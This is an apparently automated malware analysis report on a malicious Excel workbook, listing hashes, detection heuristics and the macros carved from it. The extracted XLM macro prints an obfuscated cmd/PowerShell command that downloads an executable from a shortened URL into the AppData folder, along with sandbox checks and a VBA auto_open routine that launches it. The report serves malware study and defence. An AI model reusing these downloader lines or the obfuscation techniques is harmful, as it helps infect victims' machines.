Office (OLE) / .XLS malware analysis — malicious · 8c40ce0199aabc2d

MALICIOUS

Office (OLE) / .XLS

84.0 KB Created: 2020-10-25 18:24:14 Authoring application: Microsoft Excel First seen: 2026-06-08

MD5: 437a741f698474a8582e242f3b14cc03 SHA-1: 3b4a88e1fb5221e7c8b52bf9e9cc1890360ee94c SHA-256: 8c40ce0199aabc2d7128c2f3dba288a522fcbaa8cae43065d83e574753a6b42b

108 Risk Score

Heuristics 4

ClamAV: Xls.Malware.Abracadabra-10031695-0 critical CLAMAV_DETECTION

ClamAV detected this file as malware: Xls.Malware.Abracadabra-10031695-0
Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN

Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.
VBA macros detected medium 1 related finding OLE_VBA_MACROS

Document contains VBA macro code
Auto_Open macro low OLE_VBA_AUTO

Auto_Open macro
Matched line in script
```
Sub auto_open()
```

Extracted artifacts 2

Files carved from inside the sample during analysis.

Filename	Kind	Source	Size
`xlm_macros.txt`	xlm-macro	oletools.olevba.extract_all_macros (XLM macro listing)	1427 bytes
SHA-256: `50aae2c042625ecc1e7ed85439192004ea7e80abb06bb035a305312641f1e723`
Preview script First 1,000 lines of the extracted script ' 0085 14 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, very hidden - Macro ' 0085 14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible - Feuil ' 0018 24 LABEL : Cell Value, String Constant - ok len=7 ptgRef3d Macro!D122 ' 002a 2 PRINTHEADERS : Print Row/Column Labels ' 00fd 10 LABELSST : Cell Value, String Constant/ SST ' 00fd 10 LABELSST : Cell Value, String Constant/ SST ' 002a 2 PRINTHEADERS : Print Row/Column Labels ' 00fd 10 LABELSST : Cell Value, String Constant/ SST ' 00fd 10 LABELSST : Cell Value, String Constant/ SST ' 00fd 10 LABELSST : Cell Value, String Constant/ SST ' Sheet,Reference,Formula,Value ' Macro,D123,"ERROR(FALSE,(B101))","" ' Macro,D125,"IF(GET.WORKSPACE(19),,CLOSE(TRUE))","" ' Macro,D126,"IF(GET.WORKSPACE(42),,CLOSE(TRUE))","" ' Macro,D128,"EXEC("c"&CHAR(109)&CHAR(100)&CHAR(32)&CHAR(47)&CHAR(99)&CHAR(32)&CHAR(112)&CHAR(111)&"wer^she"&CHAR(108)&CHAR(108)&CHAR(32)&" -w 1 (nEw-oB`jecT Net.WebcL`IENt).('Down'+'loadFile')."Invoke"('"&CHAR(104)&"ttps://tinyurl.com/y2egsnod','su"&CHAR(46)&"exe')")","" ' Macro,D129,EXEC("c"&CHAR(109)&CHAR(100)&CHAR(32)&CHAR(47)&CHAR(99)&CHAR(32)&CHAR(112)&CHAR(111)&"wer^she"&CHAR(108)&CHAR(108)&CHAR(32)&" -w 1 stARt`-slE`Ep 20; Move-Item "su"&CHAR(46)&"exe" -Destination "${enV`:appdata}""),"" ' Macro,D137,"COPY(E136,D130)","" ' Macro,D140,SAVE(),"" ' Macro,D141,PAUSE(),""
`macros.bas`	vba-macro	oletools.olevba.extract_macros (decoded VBA source)	1020 bytes
SHA-256: `c14dd6d2332aec42601f638d9220a7d42954f10b6b83884a1c68d4a74f82d1bb`
Preview script First 1,000 lines of the extracted script Attribute VB_Name = "ThisWorkbook" Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}" Attribute VB_GlobalNameSpace = False Attribute VB_Creatable = False Attribute VB_PredeclaredId = True Attribute VB_Exposed = True Attribute VB_TemplateDerived = False Attribute VB_Customizable = True Attribute VB_Name = "Feuil1" Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}" Attribute VB_GlobalNameSpace = False Attribute VB_Creatable = False Attribute VB_PredeclaredId = True Attribute VB_Exposed = True Attribute VB_TemplateDerived = False Attribute VB_Customizable = True Attribute VB_Name = "Module1" Sub auto_open() Dim strMacro As String Dim aya1 As String Dim aya2 As String aya1 = "=" + Chr(69) + "X" aya2 = Chr(69) + Chr(67) Sheets("Macro1").Range("D122").Name = "ok" Sheets("Macro1").Range("D130") = aya1 + aya2 + "(" + Sheets("Macro1").Range("D135").Value strMacro = "ok" Run (strMacro) Set ExcelSheet = Nothing End Sub

Open this report in the interactive analyzer, or submit your own file for analysis.